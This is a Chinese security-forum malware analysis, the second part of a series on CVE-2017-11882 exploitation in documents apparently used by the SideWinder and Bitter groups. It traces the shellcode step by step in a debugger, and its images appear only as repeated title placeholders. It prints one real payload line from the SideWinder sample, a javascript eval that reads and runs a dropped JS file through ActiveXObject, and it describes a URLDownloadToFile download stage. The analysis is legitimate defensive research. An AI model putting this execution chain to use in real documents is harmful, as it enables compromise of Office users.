乾貨分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

今天的文章是 i 春秋论坛作者ERFZE表哥发布的文章,关于CVE-2017-11882及利用样本分析,由于文章篇幅较长,我们分了上、下两篇,错过上篇的童鞋可以点击下方链接进行学习哦~

干货分享丨Office漏洞分析(下篇)


Office漏洞丨CVE-2017-11882及利用样本分析(上篇)


在上篇内容中,我们分享了Office漏洞的成因、影响版本及摩诃草(APT-C-09)组织某样本分析,今天我们继续分享响尾蛇(SideWinder)组织某样本分析和蔓灵花(Bitter)组织某样本分析,快来学习吧~


响尾蛇(SideWinder)组织某样本分析

将文档拖进WinHex查看:

干货分享丨Office漏洞分析(下篇)

可以看出该文档实质是一RTF格式文档。

用rtfobj.py分析如下:

干货分享丨Office漏洞分析(下篇)

Package后文会提到,先来看其CVE-2017-11882利用部分。

同样是第二次断下时:

干货分享丨Office漏洞分析(下篇)

其后的执行流程与上一样本相似:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

经过绿色方框中的一系列运算后,调用GlobalLock( )函数,传递参数如下:

干货分享丨Office漏洞分析(下篇)

接下来跳转到GlobalLock( )函数返回内存区域中:

干货分享丨Office漏洞分析(下篇)

经过两次call调用:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

修正内存中的字符串:

干货分享丨Office漏洞分析(下篇)

接下来寻址kernel32.dll:

干货分享丨Office漏洞分析(下篇)

其所调用的函数功能如下:

干货分享丨Office漏洞分析(下篇)

两次call调用之后:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

其功能为返回某函数调用地址,此次是LoadLibrayW( ):

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

接下来,返回GetProcAddress( )调用地址:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

继续call调用:

干货分享丨Office漏洞分析(下篇)

其后流程如图所示:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

下面将字符串解密,并覆盖原CommandLine内容:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

执行完结果如下:

干货分享丨Office漏洞分析(下篇)

最后实际执行部分:

<code>javascript:eval("sa=ActiveXObject;ab=new sa("Scripting.FileSystemObject");
eval(ab.OpenTextFile(ab.GetSpecialFolder(2)+"\\\\1.a",1).ReadAll());windowclose()")/<code>

其后调用RunHTMLApplication( ):

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

1.a就是之前提到RTF文档中的Package,其实质是一JS文件:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

最后,其执行结果大体如下图所示:

干货分享丨Office漏洞分析(下篇)

蔓灵花(Bitter)组织某样本分析

通过远程模板注入的方式下载一RTF格式文档:

干货分享丨Office漏洞分析(下篇)

拖进WinHex查看,可以确认其格式为RTF文档格式:

干货分享丨Office漏洞分析(下篇)

添加文件扩展名后,打开该文档。同样是于0x411658处第二次断下时:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

跳转之后经过绿色方框中一系列计算,接着跳转:

干货分享丨Office漏洞分析(下篇)

fldpi将π的值加载到FPU堆栈:

干货分享丨Office漏洞分析(下篇)

执行完后fpu_instruction_pointer指向fldpi指令,其后的fnstenv指令将FpuSaveState结构体保存到esp-0xC处:

干货分享丨Office漏洞分析(下篇)

如此一来,pop ebp后EBP寄存器的值是fpu_instruction_pointer——fldpi指令位置:

干货分享丨Office漏洞分析(下篇)

由EBP计算出需要解密的数据起始位置,EDX中存储的是数据长度(0x315):

干货分享丨Office漏洞分析(下篇)

接着执行解密后的指令:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

跳转后,执行相应指令,接下来call调用:

干货分享丨Office漏洞分析(下篇)

sub_562B2F功能是获取指定的系统函数调用地址,此次是kernel32.VirtualAlloc( ):

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

之后调用VirtualAlloc( )申请内存空间:

干货分享丨Office漏洞分析(下篇)

向申请的内存空间中写入数据:

干货分享丨Office漏洞分析(下篇)

调用sub_562B2F获取kernel32.Wow64DisableWow64FsRedirection( )调用地址:

干货分享丨Office漏洞分析(下篇)

LoadLibrary(shell32):

干货分享丨Office漏洞分析(下篇)

传递参数给sub_562B2F,获取shell32.ShellExcute( )调用地址:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

LoadLibrary(urlmon)

干货分享丨Office漏洞分析(下篇)

获取urlmon.URLDownloadToFile( )调用地址:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

调用URLDownloadToFile( ),其传递参数如图:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

读取文件:

干货分享丨Office漏洞分析(下篇)

干货分享丨Office漏洞分析(下篇)

由于没有获取到文件,计算出的EBX值错误:

干货分享丨Office漏洞分析(下篇)

故至此结束。


分享到:


相關文章: